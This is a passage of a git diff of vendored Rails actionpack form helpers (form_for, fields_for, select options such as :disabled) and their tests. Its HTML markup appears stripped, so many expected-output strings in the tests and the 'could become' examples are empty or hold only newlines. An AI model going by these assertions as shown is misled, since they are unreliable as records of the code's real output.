ActionView::Helpers::FormTagHelper + # documentation. # - # The core method of this helper, form_for, gives you the ability to create a form for a model instance; - # for example, let's say that you have a model Person and want to create a new instance of it: + # The core method of this helper, form_for, gives you the ability to create + # a form for a model instance; for example, let's say that you have a model + # Person and want to create a new instance of it: # # # Note: a @person variable will have been created in the controller. # # For example: @person = Person.new @@ -40,17 +47,22 @@ module ActionView # <%= submit_tag 'Create' %> # <% end %> # - # This example will render the people/_form partial, setting a local variable called form which references the yielded FormBuilder. - # - # The params object created when this form is submitted would look like: + # This example will render the people/_form partial, setting a + # local variable called form which references the yielded + # FormBuilder. The params object created when this form is + # submitted would look like: # # {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}} # - # The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller. - # If were editing/updating an instance (e.g., Person.find(1) rather than Person.new in the controller), the objects - # attribute values are filled into the form (e.g., the person_first_name field would have that person's first name in it). + # The params hash has a nested person value, which can therefore + # be accessed with params[:person] in the controller. If were + # editing/updating an instance (e.g., Person.find(1) rather than + # Person.new in the controller), the objects attribute values are + # filled into the form (e.g., the person_first_name field would + # have that person's first name in it). # - # If the object name contains square brackets the id for the object will be inserted. For example: + # If the object name contains square brackets the id for the object will be + # inserted. For example: # # <%= text_field "person[]", "name" %> # @@ -58,8 +70,10 @@ module ActionView # # # - # If the helper is being used to generate a repetitive sequence of similar form elements, for example in a partial - # used by render_collection_of_partials, the index option may come in handy. Example: + # If the helper is being used to generate a repetitive sequence of similar + # form elements, for example in a partial used by + # render_collection_of_partials, the index option may + # come in handy. Example: # # <%= text_field "person", "name", "index" => 1 %> # @@ -67,14 +81,17 @@ module ActionView # # # - # An index option may also be passed to form_for and fields_for. This automatically applies - # the index to all the nested fields. + # An index option may also be passed to form_for and + # fields_for. This automatically applies the index to + # all the nested fields. # - # There are also methods for helping to build form tags in link:classes/ActionView/Helpers/FormOptionsHelper.html, - # link:classes/ActionView/Helpers/DateHelper.html, and link:classes/ActionView/Helpers/ActiveRecordHelper.html + # There are also methods for helping to build form tags in + # link:classes/ActionView/Helpers/FormOptionsHelper.html, + # link:classes/ActionView/Helpers/DateHelper.html, and + # link:classes/ActionView/Helpers/ActiveRecordHelper.html module FormHelper - # Creates a form and a scope around a specific model object that is used as - # a base for questioning about values for the fields. + # Creates a form and a scope around a specific model object that is used + # as a base for questioning about values for the fields. # # Rails provides succinct resource-oriented form generation with +form_for+ # like this: @@ -86,13 +103,15 @@ module ActionView # <%= f.text_field :author %>
# <% end %> # - # There, +form_for+ is able to generate the rest of RESTful form parameters - # based on introspection on the record, but to understand what it does we - # need to dig first into the alternative generic usage it is based upon. + # There, +form_for+ is able to generate the rest of RESTful form + # parameters based on introspection on the record, but to understand what + # it does we need to dig first into the alternative generic usage it is + # based upon. # # === Generic form_for # - # The generic way to call +form_for+ yields a form builder around a model: + # The generic way to call +form_for+ yields a form builder around a + # model: # # <% form_for :person, :url => { :action => "update" } do |f| %> # <%= f.error_messages %> @@ -103,8 +122,8 @@ module ActionView # <% end %> # # There, the first argument is a symbol or string with the name of the - # object the form is about, and also the name of the instance variable the - # object is stored in. + # object the form is about, and also the name of the instance variable + # the object is stored in. # # The form builder acts as a regular form helper that somehow carries the # model. Thus, the idea is that @@ -137,17 +156,18 @@ module ActionView # In any of its variants, the rightmost argument to +form_for+ is an # optional hash of options: # - # * :url - The URL the form is submitted to. It takes the same fields - # you pass to +url_for+ or +link_to+. In particular you may pass here a - # named route directly as well. Defaults to the current action. + # * :url - The URL the form is submitted to. It takes the same + # fields you pass to +url_for+ or +link_to+. In particular you may pass + # here a named route directly as well. Defaults to the current action. # * :html - Optional HTML attributes for the form tag. # - # Worth noting is that the +form_for+ tag is called in a ERb evaluation block, - # not an ERb output block. So that's <% %>, not <%= %>. + # Worth noting is that the +form_for+ tag is called in a ERb evaluation + # block, not an ERb output block. So that's <% %>, not + # <%= %>. # # Also note that +form_for+ doesn't create an exclusive scope. It's still - # possible to use both the stand-alone FormHelper methods and methods from - # FormTagHelper. For example: + # possible to use both the stand-alone FormHelper methods and methods + # from FormTagHelper. For example: # # <% form_for :person, @person, :url => { :action => "update" } do |f| %> # First name: <%= f.text_field :first_name %> @@ -156,16 +176,16 @@ module ActionView # Admin? : <%= check_box_tag "person[admin]", @person.company.admin? %> # <% end %> # - # This also works for the methods in FormOptionHelper and DateHelper that are - # designed to work with an object as base, like FormOptionHelper#collection_select - # and DateHelper#datetime_select. + # This also works for the methods in FormOptionHelper and DateHelper that + # are designed to work with an object as base, like + # FormOptionHelper#collection_select and DateHelper#datetime_select. # # === Resource-oriented style # - # As we said above, in addition to manually configuring the +form_for+ call, - # you can rely on automated resource identification, which will use the conventions - # and named routes of that approach. This is the preferred way to use +form_for+ - # nowadays. + # As we said above, in addition to manually configuring the +form_for+ + # call, you can rely on automated resource identification, which will use + # the conventions and named routes of that approach. This is the + # preferred way to use +form_for+ nowadays. # # For example, if @post is an existing record you want to edit # @@ -205,8 +225,10 @@ module ActionView # # === Customized form builders # - # You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers, - # then use your custom builder. For example, let's say you made a helper to automatically add labels to form inputs. + # You can also build forms using a customized FormBuilder class. Subclass + # FormBuilder and override or define some more helpers, then use your + # custom builder. For example, let's say you made a helper to + # automatically add labels to form inputs. # # <% form_for :person, @person, :url => { :action => "update" }, :builder => LabellingFormBuilder do |f| %> # <%= f.text_field :first_name %> @@ -219,16 +241,23 @@ module ActionView # # <%= render :partial => f %> # - # The rendered template is people/_labelling_form and the local variable referencing the form builder is called labelling_form. + # The rendered template is people/_labelling_form and the local + # variable referencing the form builder is called + # labelling_form. # - # In many cases you will want to wrap the above in another helper, so you could do something like the following: + # The custom FormBuilder class is automatically merged with the options + # of a nested fields_for call, unless it's explicitely set. + # + # In many cases you will want to wrap the above in another helper, so you + # could do something like the following: # # def labelled_form_for(record_or_name_or_array, *args, &proc) # options = args.extract_options! # form_for(record_or_name_or_array, *(args << options.merge(:builder => LabellingFormBuilder)), &proc) # end # - # If you don't need to attach a form to a model instance, then check out FormTagHelper#form_tag. + # If you don't need to attach a form to a model instance, then check out + # FormTagHelper#form_tag. def form_for(record_or_name_or_array, *args, &proc) raise ArgumentError, "Missing block" unless block_given? @@ -646,8 +675,10 @@ module ActionView # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the - # radio button will be checked. Additional options on the input tag can be passed as a - # hash with +options+. + # radio button will be checked. + # + # To force the radio button to be checked pass :checked => true in the + # +options+ hash. You may pass HTML options there as well. # # ==== Examples # # Let's say that @post.category returns "rails": @@ -753,7 +784,9 @@ module ActionView end options["checked"] = "checked" if checked add_default_name_and_id(options) - tag("input", options) << tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value) + hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value) + checkbox = tag("input", options) + hidden + checkbox end def to_boolean_select_tag(options = {}) @@ -906,6 +939,11 @@ module ActionView index = "" end + if options[:builder] + args << {} unless args.last.is_a?(Hash) + args.last[:builder] ||= options[:builder] + end + case record_or_name_or_array when String, Symbol if nested_attributes_association?(record_or_name_or_array) @@ -962,23 +1000,34 @@ module ActionView def fields_for_with_nested_attributes(association_name, args, block) name = "#{object_name}[#{association_name}_attributes]" association = @object.send(association_name) + explicit_object = args.first if args.first.respond_to?(:new_record?) if association.is_a?(Array) - children = args.first.respond_to?(:new_record?) ? [args.first] : association + children = explicit_object ? [explicit_object] : association + explicit_child_index = args.last[:child_index] if args.last.is_a?(Hash) children.map do |child| - child_name = "#{name}[#{ child.new_record? ? new_child_id : child.id }]" - @template.fields_for(child_name, child, *args, &block) + fields_for_nested_model("#{name}[#{explicit_child_index || nested_child_index}]", child, args, block) end.join else - @template.fields_for(name, association, *args, &block) + fields_for_nested_model(name, explicit_object || association, args, block) end end - def new_child_id - value = (@child_counter ||= 1) - @child_counter += 1 - "new_#{value}" + def fields_for_nested_model(name, object, args, block) + if object.new_record? + @template.fields_for(name, object, *args, &block) + else + @template.fields_for(name, object, *args) do |builder| + @template.concat builder.hidden_field(:id) + block.call(builder) + end + end + end + + def nested_child_index + @nested_child_index ||= -1 + @nested_child_index += 1 end end end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb index 54c82cbd..6b385ef7 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb @@ -6,9 +6,7 @@ module ActionView module Helpers # Provides a number of methods for turning different kinds of containers into a set of option tags. # == Options - # The collection_select, country_select, select, - # and time_zone_select methods take an options parameter, - # a hash. + # The collection_select, select and time_zone_select methods take an options parameter, a hash: # # * :include_blank - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element. # @@ -28,7 +26,7 @@ module ActionView # # Example with @post.person_id => 2: # - # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'}) + # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'}) # # could become: # @@ -43,7 +41,7 @@ module ActionView # # Example: # - # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'}) + # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'}) # # could become: # @@ -68,6 +66,36 @@ module ActionView # # # + # + # * :disabled - can be a single value or an array of values that will be disabled options in the final output. + # + # Example: + # + # select("post", "category", Post::CATEGORIES, {:disabled => 'restricted'}) + # + # could become: + # + # + # + # When used with the collection_select helper, :disabled can also be a Proc that identifies those options that should be disabled. + # + # Example: + # + # collection_select(:post, :category_id, Category.all, :id, :name, {:disabled => lambda{|category| category.archived? }}) + # + # If the categories "2008 stuff" and "Christmas" return true when the method archived? is called, this would return: + # + # module FormOptionsHelper include ERB::Util @@ -76,7 +104,7 @@ module ActionView # See options_for_select for the required format of the choices parameter. # # Example with @post.person_id => 1: - # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true }) + # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true }) # # could become: # @@ -94,7 +122,8 @@ module ActionView # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms. # # By default, post.person_id is the selected option. Specify :selected => value to use a different selection - # or :selected => nil to leave all options unselected. + # or :selected => nil to leave all options unselected. Similarly, you can specify values to be disabled in the option + # tags by specifying the :disabled option. This can either be a single value or an array of values to be disabled. def select(object, method, choices, options = {}, html_options = {}) InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options) end @@ -120,7 +149,7 @@ module ActionView # end # # Sample usage (selecting the associated Author for an instance of Post, @post): - # collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true}) + # collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true}) # # If @post.author_id is already 1, this would return: # \n} - expected << %{\n\n\n\n\n\n\n\n\n\n\n} - expected << "\n" + expected = %{\n" - expected << %{\n" + expected << %{\n" - expected << %{\n" + expected << %{\n" - expected << " — " + expected << " — " - expected << %{\n" - expected << " : " - expected << %{\n" + expected << %{\n" + expected << " : " + expected << %{\n" - assert_dom_equal expected, datetime_select("post", "updated_at") - ensure - Time.zone_default = nil - end + assert_dom_equal expected, datetime_select("post", "updated_at") + ensure + Time.zone_default = nil end def test_datetime_select_with_html_options_within_fields_for @@ -1822,60 +1820,60 @@ class DateHelperTest < ActionView::TestCase def test_datetime_select_with_default_prompt @post = Post.new - @post.updated_at = Time.local(2004, 6, 15, 16, 35) + @post.updated_at = nil expected = %{\n" expected << %{\n" expected << %{\n" expected << " — " expected << %{\n" expected << " : " expected << %{\n" - assert_dom_equal expected, datetime_select("post", "updated_at", :prompt => true) + assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => true) end def test_datetime_select_with_custom_prompt @post = Post.new - @post.updated_at = Time.local(2004, 6, 15, 16, 35) + @post.updated_at = nil expected = %{\n" expected << %{\n" expected << %{\n" expected << " — " expected << %{\n" expected << " : " expected << %{\n" - assert_dom_equal expected, datetime_select("post", "updated_at", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'}) + assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'}) end def test_date_select_with_zero_value_and_no_start_year diff --git a/vendor/rails/actionpack/test/template/form_helper_test.rb b/vendor/rails/actionpack/test/template/form_helper_test.rb index 33a542af..654eee40 100644 --- a/vendor/rails/actionpack/test/template/form_helper_test.rb +++ b/vendor/rails/actionpack/test/template/form_helper_test.rb @@ -170,36 +170,36 @@ class FormHelperTest < ActionView::TestCase def test_check_box assert_dom_equal( - '', + '', check_box("post", "secret") ) @post.secret = 0 assert_dom_equal( - '', + '', check_box("post", "secret") ) assert_dom_equal( - '', + '', check_box("post", "secret" ,{"checked"=>"checked"}) ) @post.secret = true assert_dom_equal( - '', + '', check_box("post", "secret") ) assert_dom_equal( - '', + '', check_box("post", "secret?") ) @post.secret = ['0'] assert_dom_equal( - '', + '', check_box("post", "secret") ) @post.secret = ['1'] assert_dom_equal( - '', + '', check_box("post", "secret") ) end @@ -207,14 +207,14 @@ class FormHelperTest < ActionView::TestCase def test_check_box_with_explicit_checked_and_unchecked_values @post.secret = "on" assert_dom_equal( - '', + '', check_box("post", "secret", {}, "on", "off") ) end def test_checkbox_disabled_still_submits_checked_value assert_dom_equal( - '', + '', check_box("post", "secret", { :disabled => :true }) ) end @@ -289,7 +289,7 @@ class FormHelperTest < ActionView::TestCase text_area("post", "body", "name" => "really!") ) assert_dom_equal( - '', + '', check_box("post", "secret", "name" => "i mean it") ) assert_dom_equal text_field("post", "title", "name" => "dont guess"), @@ -309,7 +309,7 @@ class FormHelperTest < ActionView::TestCase text_area("post", "body", "id" => "really!") ) assert_dom_equal( - '', + '', check_box("post", "secret", "id" => "i mean it") ) assert_dom_equal text_field("post", "title", "id" => "dont guess"), @@ -334,7 +334,7 @@ class FormHelperTest < ActionView::TestCase text_area("post[]", "body") ) assert_dom_equal( - "", + "", check_box("post[]", "secret") ) assert_dom_equal( @@ -360,8 +360,8 @@ class FormHelperTest < ActionView::TestCase "" + "" + "" + - "" + "" + + "" + "" + "" @@ -380,8 +380,8 @@ class FormHelperTest < ActionView::TestCase "
" + "" + "" + - "" + "" + + "" + "" assert_dom_equal expected, output_buffer @@ -398,8 +398,8 @@ class FormHelperTest < ActionView::TestCase "
" + "" + "" + - "" + "" + + "" + "
" assert_dom_equal expected, output_buffer @@ -418,8 +418,8 @@ class FormHelperTest < ActionView::TestCase "" + "" + "" + - "" + "" + + "" + "" assert_dom_equal expected, output_buffer @@ -436,8 +436,8 @@ class FormHelperTest < ActionView::TestCase "
" + "" + "" + - "" + "" + + "" + "
" assert_dom_equal expected, output_buffer @@ -586,6 +586,15 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association + form_for(:post, @post) do |f| + f.fields_for(:author, Author.new(123)) do |af| + assert_not_nil af.object + assert_equal 123, af.object.id + end + end + end + def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association @post.author = Author.new(321) @@ -598,6 +607,7 @@ class FormHelperTest < ActionView::TestCase expected = '
' + '' + + '' + '' + '
' @@ -618,8 +628,10 @@ class FormHelperTest < ActionView::TestCase expected = '
' + '' + - '' + - '' + + '' + + '' + + '' + + '' + '
' assert_dom_equal expected, output_buffer @@ -639,8 +651,8 @@ class FormHelperTest < ActionView::TestCase expected = '
' + '' + - '' + - '' + + '' + + '' + '
' assert_dom_equal expected, output_buffer @@ -660,8 +672,9 @@ class FormHelperTest < ActionView::TestCase expected = '
' + '' + - '' + - '' + + '' + + '' + + '' + '
' assert_dom_equal expected, output_buffer @@ -681,14 +694,32 @@ class FormHelperTest < ActionView::TestCase expected = '
' + '' + - '' + - '' + + '' + + '' + + '' + '
' assert_dom_equal expected, output_buffer assert_equal yielded_comments, @post.comments end + def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association + @post.comments = [] + + form_for(:post, @post) do |f| + f.fields_for(:comments, Comment.new(321), :child_index => 'abc') do |cf| + concat cf.text_field(:name) + end + end + + expected = '
' + + '' + + '' + + '
' + + assert_dom_equal expected, output_buffer + end + def test_fields_for fields_for(:post, @post) do |f| concat f.text_field(:title) @@ -699,8 +730,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -715,8 +746,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -731,8 +762,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -747,8 +778,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -763,8 +794,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -779,8 +810,8 @@ class FormHelperTest < ActionView::TestCase expected = "" + "" + - "" + - "" + "" + + "" assert_dom_equal expected, output_buffer end @@ -825,8 +856,8 @@ class FormHelperTest < ActionView::TestCase "
" + "" + "" + - "" + "" + + "" + "
" assert_dom_equal expected, output_buffer @@ -874,8 +905,7 @@ class FormHelperTest < ActionView::TestCase "
" + "
" + "
" + - " " + - "
" + + "
" + "
" assert_dom_equal expected, output_buffer @@ -895,8 +925,7 @@ class FormHelperTest < ActionView::TestCase "
" + "
" + "
" + - " " + - "
" + + "
" + "
" assert_dom_equal expected, output_buffer @@ -951,8 +980,7 @@ class FormHelperTest < ActionView::TestCase %(
) + "
" + "
" + - " " + - "
" + + "
" + "
" assert_dom_equal expected, output_buffer @@ -968,12 +996,52 @@ class FormHelperTest < ActionView::TestCase expected = "
" + "
" + - " " + - "
" + "
" assert_dom_equal expected, output_buffer end + def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash + klass = nil + + form_for(:post, @post, :builder => LabelledFormBuilder) do |f| + f.fields_for(:comments, Comment.new) do |nested_fields| + klass = nested_fields.class + '' + end + end + + assert_equal LabelledFormBuilder, klass + end + + def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash + klass = nil + + form_for(:post, @post, :builder => LabelledFormBuilder) do |f| + f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields| + klass = nested_fields.class + '' + end + end + + assert_equal LabelledFormBuilder, klass + end + + class LabelledFormBuilderSubclass < LabelledFormBuilder; end + + def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder + klass = nil + + form_for(:post, @post, :builder => LabelledFormBuilder) do |f| + f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields| + klass = nested_fields.class + '' + end + end + + assert_equal LabelledFormBuilderSubclass, klass + end + def test_form_for_with_html_options_adds_options_to_form_tag form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end expected = "
" diff --git a/vendor/rails/actionpack/test/template/form_options_helper_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_test.rb index 86b321e6..78db8797 100644 --- a/vendor/rails/actionpack/test/template/form_options_helper_test.rb +++ b/vendor/rails/actionpack/test/template/form_options_helper_test.rb @@ -3,726 +3,749 @@ require 'tzinfo' TZInfo::Timezone.cattr_reader :loaded_zones -uses_mocha "FormOptionsHelperTest" do - class FormOptionsHelperTest < ActionView::TestCase - tests ActionView::Helpers::FormOptionsHelper +class FormOptionsHelperTest < ActionView::TestCase + tests ActionView::Helpers::FormOptionsHelper - silence_warnings do - Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin) - Continent = Struct.new('Continent', :continent_name, :countries) - Country = Struct.new('Country', :country_id, :country_name) - Firm = Struct.new('Firm', :time_zone) - Album = Struct.new('Album', :id, :title, :genre) + silence_warnings do + Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin) + Continent = Struct.new('Continent', :continent_name, :countries) + Country = Struct.new('Country', :country_id, :country_name) + Firm = Struct.new('Firm', :time_zone) + Album = Struct.new('Album', :id, :title, :genre) + end + + def setup + @fake_timezones = %w(A B C D E).inject([]) do |zones, id| + tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id) + ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz) + zones << tz end + ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones) + end - def setup - @fake_timezones = %w(A B C D E).inject([]) do |zones, id| - tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id) - ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz) - zones << tz - end - ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones) - end + def test_collection_options + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title") + ) + end - def test_collection_options - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] + def test_collection_options_with_preselected_value + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe") + ) + end + + def test_collection_options_with_preselected_value_array assert_dom_equal( - "\n\n", - options_from_collection_for_select(@posts, "author_name", "title") + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ]) ) - end + end + def test_collection_options_with_proc_for_selected + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' }) + ) + end - def test_collection_options_with_preselected_value - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] + def test_collection_options_with_disabled_value + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe") + ) + end + def test_collection_options_with_disabled_array + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ]) + ) + end + + def test_collection_options_with_preselected_and_disabled_value + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe") + ) + end + + def test_collection_options_with_proc_for_disabled + assert_dom_equal( + "\n\n", + options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda{|p| %w(Babe Cabe).include? p.author_name }) + ) + end + + def test_array_options_for_select + assert_dom_equal( + "\n\n", + options_for_select([ "", "USA", "Sweden" ]) + ) + end + + def test_array_options_for_select_with_selection + assert_dom_equal( + "\n\n", + options_for_select([ "Denmark", "", "Sweden" ], "") + ) + end + + def test_array_options_for_select_with_selection_array assert_dom_equal( - "\n\n", - options_from_collection_for_select(@posts, "author_name", "title", "Babe") + "\n\n", + options_for_select([ "Denmark", "", "Sweden" ], [ "", "Sweden" ]) ) - end + end - def test_collection_options_with_preselected_value_array - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] + def test_array_options_for_select_with_disabled_value + assert_dom_equal( + "\n\n", + options_for_select([ "Denmark", "", "Sweden" ], :disabled => "") + ) + end - assert_dom_equal( - "\n\n", - options_from_collection_for_select(@posts, "author_name", "title", [ "Babe", "Cabe" ]) - ) - end + def test_array_options_for_select_with_disabled_array + assert_dom_equal( + "\n\n", + options_for_select([ "Denmark", "", "Sweden" ], :disabled => ["", "Sweden"]) + ) + end - def test_array_options_for_select + def test_array_options_for_select_with_selection_and_disabled_value + assert_dom_equal( + "\n\n", + options_for_select([ "Denmark", "", "Sweden" ], :selected => "Denmark", :disabled => "") + ) + end + + def test_array_options_for_string_include_in_other_string_bug_fix assert_dom_equal( - "\n\n", - options_for_select([ "", "USA", "Sweden" ]) - ) - end - - def test_array_options_for_select_with_selection - assert_dom_equal( - "\n\n", - options_for_select([ "Denmark", "", "Sweden" ], "") - ) - end - - def test_array_options_for_select_with_selection_array - assert_dom_equal( - "\n\n", - options_for_select([ "Denmark", "", "Sweden" ], [ "", "Sweden" ]) - ) - end - - def test_array_options_for_string_include_in_other_string_bug_fix - assert_dom_equal( - "\n", - options_for_select([ "ruby", "rubyonrails" ], "rubyonrails") - ) - assert_dom_equal( - "\n", - options_for_select([ "ruby", "rubyonrails" ], "ruby") - ) - assert_dom_equal( - %(\n\n), - options_for_select([ "ruby", "rubyonrails", nil ], "ruby") - ) - end - - def test_hash_options_for_select - assert_dom_equal( - "\n", - options_for_select("$" => "Dollar", "" => "").split("\n").sort.join("\n") + "\n", + options_for_select([ "ruby", "rubyonrails" ], "rubyonrails") ) assert_dom_equal( - "\n", - options_for_select({ "$" => "Dollar", "" => "" }, "Dollar").split("\n").sort.join("\n") + "\n", + options_for_select([ "ruby", "rubyonrails" ], "ruby") ) assert_dom_equal( - "\n", - options_for_select({ "$" => "Dollar", "" => "" }, [ "Dollar", "" ]).split("\n").sort.join("\n") + %(\n\n), + options_for_select([ "ruby", "rubyonrails", nil ], "ruby") ) - end + end - def test_ducktyped_options_for_select - quack = Struct.new(:first, :last) - assert_dom_equal( - "\n", - options_for_select([quack.new("", ""), quack.new("$", "Dollar")]) - ) - assert_dom_equal( - "\n", - options_for_select([quack.new("", ""), quack.new("$", "Dollar")], "Dollar") - ) - assert_dom_equal( - "\n", - options_for_select([quack.new("", ""), quack.new("$", "Dollar")], ["Dollar", ""]) - ) - end + def test_hash_options_for_select + assert_dom_equal( + "\n", + options_for_select("$" => "Dollar", "" => "").split("\n").sort.join("\n") + ) + assert_dom_equal( + "\n", + options_for_select({ "$" => "Dollar", "" => "" }, "Dollar").split("\n").sort.join("\n") + ) + assert_dom_equal( + "\n", + options_for_select({ "$" => "Dollar", "" => "" }, [ "Dollar", "" ]).split("\n").sort.join("\n") + ) + end - def test_option_groups_from_collection_for_select - @continents = [ - Continent.new("", [Country.new("", ""), Country.new("so", "Somalia")] ), - Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] ) - ] + def test_ducktyped_options_for_select + quack = Struct.new(:first, :last) + assert_dom_equal( + "\n", + options_for_select([quack.new("", ""), quack.new("$", "Dollar")]) + ) + assert_dom_equal( + "\n", + options_for_select([quack.new("", ""), quack.new("$", "Dollar")], "Dollar") + ) + assert_dom_equal( + "\n", + options_for_select([quack.new("", ""), quack.new("$", "Dollar")], ["Dollar", ""]) + ) + end - assert_dom_equal( - "\n\n", - option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk") - ) - end + def test_option_groups_from_collection_for_select + @continents = [ + Continent.new("", [Country.new("", ""), Country.new("so", "Somalia")] ), + Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] ) + ] - def test_grouped_options_for_select_with_array - assert_dom_equal( - "\n\n", - grouped_options_for_select([ - ["North America", - [['United States','US'],"Canada"]], - ["Europe", - [["Great Britain","GB"], "Germany"]] - ]) - ) - end + assert_dom_equal( + "\n\n", + option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk") + ) + end - def test_grouped_options_for_select_with_selected_and_prompt - assert_dom_equal( - "\n", - grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...") - ) - end + def test_grouped_options_for_select_with_array + assert_dom_equal( + "\n\n", + grouped_options_for_select([ + ["North America", + [['United States','US'],"Canada"]], + ["Europe", + [["Great Britain","GB"], "Germany"]] + ]) + ) + end - def test_optgroups_with_with_options_with_hash - assert_dom_equal( - "\n\n", - grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']}) - ) - end + def test_grouped_options_for_select_with_selected_and_prompt + assert_dom_equal( + "\n", + grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...") + ) + end - def test_time_zone_options_no_parms - opts = time_zone_options_for_select - assert_dom_equal "\n" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_optgroups_with_with_options_with_hash + assert_dom_equal( + "\n\n", + grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']}) + ) + end - def test_time_zone_options_with_selected - opts = time_zone_options_for_select( "D" ) - assert_dom_equal "\n" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_time_zone_options_no_parms + opts = time_zone_options_for_select + assert_dom_equal "\n" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_time_zone_options_with_unknown_selected - opts = time_zone_options_for_select( "K" ) - assert_dom_equal "\n" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_time_zone_options_with_selected + opts = time_zone_options_for_select( "D" ) + assert_dom_equal "\n" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_time_zone_options_with_priority_zones - zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] - opts = time_zone_options_for_select( nil, zones ) - assert_dom_equal "\n" + 